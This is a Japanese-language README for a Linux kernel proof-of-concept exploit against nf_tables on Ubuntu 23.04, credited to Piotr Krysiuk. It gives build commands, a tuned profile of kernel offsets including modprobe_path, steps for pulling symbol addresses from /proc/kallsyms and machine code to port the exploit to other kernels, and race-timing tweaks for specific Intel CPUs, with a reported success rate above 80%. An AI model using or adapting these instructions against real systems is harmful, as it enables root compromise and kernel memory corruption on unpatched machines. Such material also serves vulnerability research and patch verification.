
個人用です。PoCの作者はPiotr Krysiukです。使用前にREADME.mdをお読みください。
以下の手順は Ubuntu 23.04 (Lunar Lobster) でテスト済みです。
次のコマンドを実行してビルド依存関係をインストールします:
sudo apt install gcc libmnl-dev libnftnl-dev
次のコマンドを実行して PoC バイナリをビルドします:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
組み込みプロファイルには、Ubuntu 23.04 (Lunar Lobster) の以下のパッケージとしてバイナリ形式で配布されている Linux カーネルに固有のパラメータが含まれています:
組み込みプロファイルは次のようになります:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
他の Linux カーネルでテストする際に組み込みプロファイルを上書きするための任意の手順は次のとおりです:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
カーネルベースを見つけるために、カーネルメモリ内の nf_tables.ko イメージを調べます。具体的には、nft_counter_destroy() サブルーチンのマシンコードを分析します。これは、私たちの手法がコンパイラやコンパイルオプションに影響されることを意味します。ただし、通常のケースはすべて組み込みプロファイルを上書きすることで処理できます。
たとえば、nft_counter_destroy() サブルーチンのマシンコードは次のようになります:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
上記の場合、設定ファイル "profile" に以下の3行を追加することで、いくつかのパラメータを指定できます。
まず、free_percpu 変位の直前にある dword のオフセットを再定義します:
5 nft_counter_destroy_call_offset # hex
ここで、値 5 は式 (1e31d - 1e310) - 8 を使って計算されました。
健全性チェックとして、次に以下のマスクを使用して上記のオフセットの dword を検証します:
ffffffff nft_counter_destroy_call_mask # hex
次の値を期待します:
e9087e8b nft_counter_destroy_call_check # hex
この脆弱性を悪用するには、Linux カーネルのバックグラウンドワーカースレッドとのレースに勝つ必要があります。組み込みプロファイルは、モバイル Sandy Bridge やデスクトップ Comet Lake を含む幅広い Intel マイクロプロセッサでそのレースに勝つ可能性を最大化するように調整されています。ただし、一部のマイクロプロセッサでは追加の調整が必要です。たとえば、特定のセットアップで Alder Lake のタスク切り替えレイテンシが増加することを観察しました。その場合、"profile" に次の行を追加する必要があるかもしれません:
400 race_lead_sleep
アイドル状態のベアメタルシステムを使用したテストでは、脆弱性の悪用に成功する確率は80%以上であることを測定しました。
脆弱なシステム上で PoC を起動すると、そのシステムはカーネルメモリが破損した不安定な状態になる可能性があります。潜在的なデータ破損を避けるために、専用システム上で PoC をテストすることを強くお勧めします。